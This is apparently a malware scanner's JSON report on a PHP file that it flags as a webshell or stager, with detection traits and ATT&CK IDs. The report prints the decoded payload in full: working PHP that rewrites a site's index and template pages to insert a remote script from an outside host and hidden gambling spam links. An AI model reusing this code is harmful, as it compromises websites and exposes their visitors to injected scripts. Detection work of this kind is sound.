{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.9999018907546997,
        "class": 2
      }
    ],
    "prob": 0.9999019,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.9864239,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.99891865,
        "class": 0
      },
      {
        "m": "az/php",
        "prob": 0.9999019,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-09T00:20:20Z"
  },
  "path": "f1.php",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "KO₃(As₂C₃Eu)Md₂",
        "k": {
          "source.imports[0]": "base64_decode",
          "source.strings[0]": "$rootPath= realpath(dirname(__FILE__).'/../../../../');\r\n$rootUrl=\"http://stratigery.com\";\r\n$MaxDeep=1;\r\n$ExpFileNames=\"/(index|default|home|foot|head)/i\";\r\n$ExpInsertFlags=\"/(\u003c%|\u003c\\?php|\u003cbody(.*?)\u003e)/i\";\r\n$PlaceType=2;\r\n$ReplaceStr='\u003cscript src=\"http://www.88885333.com/1.js\" rel=\u0026#x2019;external nofollow\u0026#x2019;\u003e\u003c/script\u003e\u003c!-------------------------\u0026#x672C;\u0026#x7AD9;\u0026#x53CB;\u0026#x60C5;\u0026#x94FE;\u0026#x63A5;\u0026#xFF0C;\u0026#x8BF7;\u0026#x52FF;\u0026#x5220;\u0026#x9664;------------------------\u003e\u003cdiv style=\"display:none\"\u003e\u003cstrong style=\"font-weight: 400\"\u003e\u0026#x53CB;\u0026#x60C5;\u0026#x94FE;\u0026#x63A5;:\u003ca href=\"http://www.pclunwen.com/\"\u003e\u0026#x8BBA;\u0026#x6587;\u003c/a\u003e\u003ca href=\"http://pclunwen.com/\"\u003e\u0026#x4E2D;\u0026#x56FD;\u0026#x8BBA;\u0026#x6587;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.goodyyw.net/\"\u003e\u0026#x97E9;\u0026#x56FD;\u0026#x4F26;\u0026#x7406;\u003c/a\u003e\u003ca href=\"http://goodyyw.net/\"\u003e\u0026#x4F26;\u0026#x7406;\u0026#x7535;\u0026#x5F71;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.goodyxw.com/\"\u003e\u0026#x4F26;\u0026#x7406;\u0026#x7535;\u0026#x5F71;\u003c/a\u003e\u003ca href=\"http://goodyxw.com/\"\u003e\u0026#x70ED;\u0026#x95E8;\u0026#x4F26;\u0026#x7406;\u0026#x7247;\u003c/a\u003e\u003ca href=\"http://www.wahooco.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.zxkL98.com/\"\u003e\u0026#x6FB3;\u0026#x95E8;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.huade.org/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5740;\u003c/a\u003e\u003ca href=\"http://www.shzfpa.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6392;\u0026#x540D;\u003c/a\u003e\u003ca href=\"http://www.hntscm.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x4EE3;\u0026#x7406;\u003c/a\u003e\u003ca href=\"http://www.zc1718.com/\"\u003e\u0026#x5929;\u0026#x4E0B;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.zjdqgy.com/\"\u003e\u0026#x4E5D;\u0026#x5DDE;\u0026#x5929;\u0026#x4E0B;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.pysqyy.com/\"\u003e\u0026#x4E50;\u0026#x535A;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.wyxyxz.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6392;\u0026#x884C;\u003c/a\u003e\u003ca href=\"http://www.zznj8.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5E73;\u0026#x53F0;\u003c/a\u003e\u003ca href=\"http://www.good-o2.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5F00;\u0026#x6237;\u003c/a\u003e\u003ca href=\"http://www.xttyp.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6E38;\u0026#x620F;\u003c/a\u003e\u003ca href=\"http://www.synmkj.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x4E0A;\u0026#x6E38;\u0026#x620F;\u003c/a\u003e\u003ca href=\"http://www.hljpts.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x7AD9;\u003c/a\u003e\u003ca href=\"http://www.sjznbgyq.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x4E0A;\u0026#x6E38;\u0026#x620F;\u0026#x5385;\u003c/a\u003e\u003ca href=\"http://www.ykssw.com/\"\u003e\u0026#x771F;\u0026#x4EBA;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.youthsh.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x8BC4;\u0026#x7EA7;\u003c/a\u003e\u003ca href=\"http://www.xmyh168.com/\"\u003e\u0026#x535A;\u0026#x5F69;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.qajyxxw.com/\"\u003e\u0026#x8DB3;\u0026#x7403;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.58szxg.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5BFC;\u0026#x822A;\u003c/a\u003e\u003ca href=\"http://www.nbhxpm.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.mhgyp.com/\"\u003e\u0026#x6FB3;\u0026#x95E8;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.yfyf68.com/\"\u003e\u0026#x7687;\u0026#x51A0;\u0026#x76F4;\u0026#x8425;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.51cgj.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x8BBA;\u0026#x575B;\u003c/a\u003e\u003ca href=\"http://www.51zgrl.com/\"\u003e\u0026#x4E9A;\u0026#x6D32;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.lcd-1.com/\"\u003e\u0026#x592A;\u0026#x9633;\u0026#x57CE;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.gzbowin.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x793E;\u0026#x533A;\u003c/a\u003e\u003ca href=\"http://www.qhdjrfw.com/\"\u003e\u0026#x8D4C;\u0026#x535A;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.ou-te.com/\"\u003e\u0026#x76C8;\u0026#x76DB;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.qifenge.com/\"\u003e\u0026#x6CE2;\u0026#x97F3;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6295;\u0026#x6CE8;\u003c/a\u003e\u003ca href=\"http://www.gebreakers.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x9001;\u0026#x4F53;\u0026#x9A8C;\u0026#x91D1;\u003c/a\u003e\u003ca href=\"http://www.tcldy.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x4FE1;\u0026#x8A89;\u0026#x6392;\u0026#x884C;\u003c/a\u003e\u003ca href=\"http://www.hsghxj.com/\"\u003e\u0026#x8DB3;\u0026#x7403;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5F00;\u0026#x6237;\u003c/a\u003e\u003ca href=\"http://www.jabanjia.com/\"\u003e\u0026#x8DB3;\u0026#x7403;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5740;\u003c/a\u003e\u003ca href=\"http://www.shkunLe.com/\"\u003e\u0026#x624B;\u0026#x673A;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x7AD9;\u003c/a\u003e\u003ca href=\"http://www.henangt.com/\"\u003e\u0026#x535A;\u0026#x5F69;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x624B;\u0026#x673A;\u0026#x7248;\u003c/a\u003e\u003ca href=\"http://www.xxswsj.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6392;\u0026#x540D;\u0026#x6E38;\u0026#x620F;\u003c/a\u003e\u003ca href=\"http://www.szbxzs.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x535A;\u0026#x5F69;\u0026#x6280;\u0026#x5DE7;\u003c/a\u003e\u003ca href=\"http://www.nawatv.com/\"\u003e\u0026#x76C8;\u0026#x76DB;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5E73;\u0026#x53F0;\u003c/a\u003e\u003ca href=\"http://www.cnycyj.com/\"\u003e\u0026#x535A;\u0026#x5F69;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5740;\u003c/a\u003e\u003ca href=\"http://www.jd8.cc/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.bnwsjds.com/\"\u003e\u0026#x6FB3;\u0026#x95E8;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.cdbzyg.com/\"\u003e\u0026#x6FB3;\u0026#x95E8;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x7F51;\u0026#x7AD9;\u003c/a\u003e\u003ca href=\"http://www.yc13z.com/\"\u003ehg\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5F00;\u0026#x6237;\u003c/a\u003e\u003ca href=\"http://www.lwsjxx.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6597;\u0026#x725B;\u003c/a\u003e\u003ca href=\"http://www.hnhtkj.net/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5B98;\u0026#x65B9;\u003c/a\u003e\u003ca href=\"http://www.simodj.com/\"\u003e\u0026#x6FB3;\u0026#x95E8;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5740;\u003c/a\u003e\u003ca href=\"http://www.bhhzdx.net/\"\u003e\u0026#x6FB3;\u0026#x95E8;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6392;\u0026#x884C;\u003c/a\u003e\u003ca href=\"http://www.fsgfhh.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x535A;\u0026#x5F69;\u0026#x5BFC;\u0026#x822A;\u003c/a\u003e\u003ca href=\"http://www.dl20gz.com/\"\u003e\u0026#x771F;\u0026#x4EBA;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6392;\u0026#x884C;\u003c/a\u003e\u003ca href=\"http://www.zhenaihunsha.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5F00;\u0026#x6237;\u0026#x7F51;\u0026#x7AD9;\u003c/a\u003e\u003ca href=\"http://www.travelcq.com/\"\u003e\u0026#x5728;\u0026#x7EBF;\u0026#x8D4C;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x7AD9;\u003c/a\u003e\u003ca href=\"http://www.bjdffl.com/\"\u003e\u0026#x771F;\u0026#x4EBA;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5927;\u0026#x5168;\u003c/a\u003e\u003ca href=\"http://www.chenjiagou.cc/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5BFC;\u0026#x822A;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.sxczzx.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6597;\u0026#x725B;\u0026#x7F51;\u0026#x5740;\u003c/a\u003e\u003ca href=\"http://www.jsyxlxj.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6E38;\u0026#x620F;\u0026#x5F00;\u0026#x6237;\u003c/a\u003e\u003ca href=\"http://www.zgjjsw.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6E38;\u0026#x620F;\u0026#x5E73;\u0026#x53F0;\u003c/a\u003e\u003ca href=\"http://www.wanbaoguanggao.com/\"\u003e\u0026#x535A;\u0026#x5F69;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x8BBA;\u0026#x575B;\u003c/a\u003e\u003ca href=\"http://www.ftkbo1.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x7AD9;\u0026#x5F00;\u0026#x6237;\u003c/a\u003e\u003ca href=\"http://www.sxrsj.net/\"\u003e\u0026#x7F51;\u0026#x7EDC;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5E73;\u0026#x53F0;\u003c/a\u003e\u003ca href=\"http://www.tjhbsb.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x535A;\u0026#x72D7;\u0026#x4F53;\u0026#x80B2;\u003c/a\u003e\u003ca href=\"http://www.sdxfgm.com/\"\u003e\u0026#x7687;\u0026#x51A0;\u0026#x5A31;\u0026#x4E50;\u003c/a\u003e\u003ca href=\"http://www.hdwye.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x68CB;\u0026#x724C;\u0026#x6597;\u0026#x5730;\u0026#x4E3B;\u003c/a\u003e\u003ca href=\"http://www.finefun.net/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5E73;\u0026#x53F0;\u0026#x5F00;\u0026#x6237;\u003c/a\u003e\u003ca href=\"http://www.ykams.com/\"\u003e\u0026#x535A;\u0026#x72D7;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x7AD9;\u003c/a\u003e\u003ca href=\"http://www.nqrtk.com/\"\u003e\u0026#x5E74;\u0026#x8F7B;\u0026#x4EBA;\u0026#x56FE;\u0026#x5E93;\u003c/a\u003e\u003ca href=\"http://nqrtk.com/\"\u003e\u0026#x9AD8;\u0026#x6E05;\u0026#x7F8E;\u0026#x5973;\u0026#x56FE;\u0026#x7247;\u003c/a\u003e\u003ca href=\"http://www.msntk.com/\"\u003e\u0026#x7F8E;\u0026#x5C11;\u0026#x5973;\u0026#x56FE;\u0026#x5E93;\u003c/a\u003e\u003ca href=\"http://msntk.com/\"\u003e\u0026#x6E05;\u0026#x7EAF;\u0026#x7F8E;\u0026#x5973;\u0026#x6821;\u0026#x82B1;\u003c/a\u003e\u003ca href=\"http://www.qjrtk.com/\"\u003e\u0026#x4FCF;\u0026#x4F73;\u0026#x4EBA;\u0026#x56FE;\u0026#x5E93;\u003c/a\u003e\u003ca href=\"http://qjrtk.com/\"\u003e\u0026#x65E5;\u0026#x672C;\u0026#x7F8E;\u0026#x5973;\u003c/a\u003e\u003c/strong\u003e\u003c/div\u003e\u003c!-------------------------\u0026#x672C;\u0026#x7AD9;\u0026#x53CB;\u0026#x60C5;\u0026#x94FE;\u0026#x63A5;\u0026#xFF0C;\u0026#x8BF7;\u0026#x52FF;\u0026#x5220;\u0026#x9664;------------------------\u003e';\r\n$returnVal=LinkReplace(\"\",$rootPath,$rootPath,$rootUrl,0,$MaxDeep,$ExpFileNames,$ExpInsertFlags,$PlaceType,$ReplaceStr);\r\necho \"__success__\".$returnVal.\"__success__\";\r\nfunction LinkReplace($returnVal1,$dir,$dirroot,$objrootUrl,$objNowDeep,$objMaxDeep,$objExpFileNames,$objExpInsertFlags,$objPlaceType,$objReplaceStr)\r\n{\r\n    $objNowDeep1=$objNowDeep+1;\r\n    $files = array();\r\n    $dir_list = scandir($dir);\r\n    foreach($dir_list as $file)\r\n    {\r\n        if($file=='..' || $file=='.')\r\n        {\r\n            continue;\r\n        }\r\n        if(is_dir($dir.'/'.$file))\r\n        {\r\n            if($objNowDeep1\u003c$objMaxDeep)\r\n            {\r\n                $returnVal1=LinkReplace($returnVal1,$dir.'/'.$file,$dirroot,$objrootUrl,$objNowDeep+1,$objMaxDeep,$objExpFileNames,$objExpInsertFlags,$objPlaceType,$objReplaceStr);\r\n            }\r\n        }\r\n        else\r\n        {\r\n           if(preg_match($objExpFileNames,$file) \u0026\u0026 (strpos($file,'.htm')!==false || strpos($file,'.asp')!==false || strpos($file,'.php')!==false || strpos($file,'.jsp')!==false || strpos($file,'.cfm')!==false))\r\n            {\r\n                $filebody=file_get_contents($dir.'/'.$file);\r\n                $filebody=str_replace(\"\\xEF\\xBB\\xBF\",\"\",$filebody);\r\n                $filebody=preg_replace(\"'\u003cspan class=\\\"mylinkcode\\\" style=\\\"display:none\\\"\u003e([\\s\\S]+?)\u003c\\/span\u003e'\",\"\",$filebody);\r\n                $filebody=RegexReplace($filebody,$objExpInsertFlags,\"\u003cspan class=\\\"mylinkcode\\\" style=\\\"display:none\\\"\u003e\".$objReplaceStr.\"\u003c/span\u003e\",$objPlaceType);\r\n                if(file_put_contents($dir.'/'.$file, $filebody)\u003e0 \u0026\u0026 strpos($filebody,\"\u003cspan class=\\\"mylinkcode\\\" style=\\\"display:none\\\"\u003e\")!==false)\r\n                {\r\n                    $replaceFile=$dir.'/'.$file;\r\n                    $replaceFile=str_replace($dirroot,$objrootUrl,$replaceFile);\r\n                    $replaceFile=str_replace('\\\\','/',$replaceFile);\r\n                    $replaceFile=str_replace('http://','',$replaceFile);\r\n                    $replaceFile=str_replace('//','/',$replaceFile);\r\n                    $replaceFile=str_replace('//','/',$replaceFile);\r\n                    $replaceFile='http://'.$replaceFile;\r\n                    $returnVal1=$returnVal1.$replaceFile.'\u003cbr /\u003e';\r\n                }\r\n            }\r\n        }\r\n    }\r\n    return $returnVal1;\r\n}\r\nfunction RegexReplace($source1,$pattern1,$replace1,$replacetype1)\r\n{\r\n    $rtnVal=$source1;\r\n    preg_match($pattern1, $source1, $matches);\r\n    if(count($matches)\u003e0)\r\n    {\r\n        if($replacetype1==1)\r\n            $rtnVal=str_replace_once($matches[0],$replace1.$matches[0],$source1);\r\n        else\r\n            $rtnVal=str_replace_once($matches[0],$matches[0].$replace1,$source1);\r\n    }\r\n    return $rtnVal;\r\n}\r\nfunction str_replace_once($needle, $replace, $haystack)\r\n{\r\n    $pos = strpos($haystack, $needle);\r\n    if ($pos === false) \r\n        return $haystack;\r\n    return substr_replace($haystack, $replace, $pos, strlen($needle));\r\n}",
          "source.has_imports": true
        },
        "x": 78,
        "id": 0,
        "is": [
          "base64_decode"
        ],
        "ms": {
          "file": {
            "size": 13388.0
          },
          "text": {
            "digit_ratio": 0.15,
            "space_count": 2.0,
            "total_lines": 4.0,
            "char_entropy": 5.76,
            "unique_chars": 75.0,
            "import_density": 25.0,
            "lines_over_200": 1.0,
            "lines_over_500": 1.0,
            "string_density": 0.5,
            "avg_line_length": 3346.0,
            "lines_over_1000": 1.0,
            "max_line_length": 13362.0,
            "last_line_length": 4.0,
            "long_token_count": 1.0,
            "most_common_char": "I",
            "whitespace_ratio": 0.0,
            "most_common_ratio": 0.04,
            "identifier_density": 1.0,
            "line_length_stddev": 5782.74,
            "encoded_string_ratio": 1.0,
            "normalized_import_count": 0.5,
            "normalized_string_count": 1.0,
            "max_inline_whitespace_run": 1.0,
            "normalized_unique_identifiers": 1.5
          },
          "imports": {
            "total": 1.0,
            "unique_modules": 1.0,
            "third_party_count": 1.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 2.0,
            "avg_length": 13336.0,
            "max_length": 13336.0,
            "avg_entropy": 5.74,
            "total_bytes": 26672.0,
            "base64_candidates": 2.0,
            "very_long_strings": 2.0,
            "high_entropy_count": 2.0
          },
          "comments": {},
          "functions": {},
          "identifiers": {
            "total": 4.0,
            "avg_length": 6.67,
            "max_length": 13.0,
            "min_length": 3.0,
            "avg_entropy": 2.26,
            "reuse_ratio": 0.75,
            "unique_count": 3.0,
            "length_stddev": 4.5,
            "has_digit_ratio": 0.33,
            "all_lowercase_ratio": 0.67
          }
        },
        "ss": [
          [
            6,
            "base64",
            "$rootPath= realpath(dirname(__FILE__).'/../../../../');\r\n$rootUrl=\"http://stratigery.com\";\r\n$MaxDeep=1;\r\n$ExpFileNames=\"/(index|"
          ]
        ],
        "sz": 13388,
        "ts": [
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 13362.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.9900000095367432,
            "d": "Decodes a large embedded payload (base64)",
            "e": [
              "base64_decode(\"JHJvb3RQYXRoPSByZWFscGF0aChkaXJuYW1lKF9fRklMRV9fKS4nLy4uLy4uLy4uLy4uLycpOw0KJHJvb3RVcmw9Imh0dHA6Ly9zdHJhdGlnZXJ5L"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/decoder::eval-base64-large-payload",
            "l": 4,
            "m": "B0030"
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "High entropy strings (encoded/encrypted data)",
            "e": [
              "strings.avg_entropy = 5.74"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/strings::high-entropy-strings-dup",
            "l": 4,
            "m": "B0032"
          },
          {
            "a": "T1505.003",
            "c": 0.8399999737739563,
            "d": "Near-zero whitespace script",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::near-zero-whitespace",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1505.003",
            "c": 0.8999999761581421,
            "d": "PHP source imports base64_decode",
            "e": [
              "[base64_decode]"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-base64-decode",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.8600000143051147,
            "d": "Very long embedded string",
            "e": [
              "strings.max_length = 13336.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Very short file (under 12 lines)",
            "e": [
              "text.total_lines = 4.00"
            ],
            "i": "metadata/file/text/metrics::file-under-12-lines",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.8999999761581421,
            "d": "Single-file admin shell metrics",
            "e": [
              "f1.php"
            ],
            "i": "well-known/malware/webshell/zaco::single-file-webshell-metrics",
            "l": 3,
            "m": "B0030"
          },
          {
            "a": "T1505.003",
            "d": "PHP open tag",
            "e": [
              "\u003c?php"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::php-tag",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "High overall text entropy (encoded",
            "e": [
              "text.char_entropy = 5.76"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.4000000059604645,
            "d": "Very few string literals (string obfuscation indicator)",
            "e": [
              "strings.total = 2.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/strings::few-strings",
            "l": 3,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.6000000238418579,
            "d": "Base64-encoded HTTP protocol fragment",
            "e": [
              "aHR0cDovL"
            ],
            "i": "objectives/exfiltration/oob/endpoint::http-b64",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "PHP source contains very long line",
            "e": [
              "text.max_line_length = 13362.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line",
            "l": 4,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
              "$rootPath= realpath(dirname(__FILE__).'/ \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3
          }
        ],
        "sha": "bc13e49f60be1edb7e8762ec095772ea971204db1a68ea8b072eae3f0fa50ffc",
        "path": "f1.php",
        "type": "php"
      }
    ],
    "tv": "bef72"
  }
}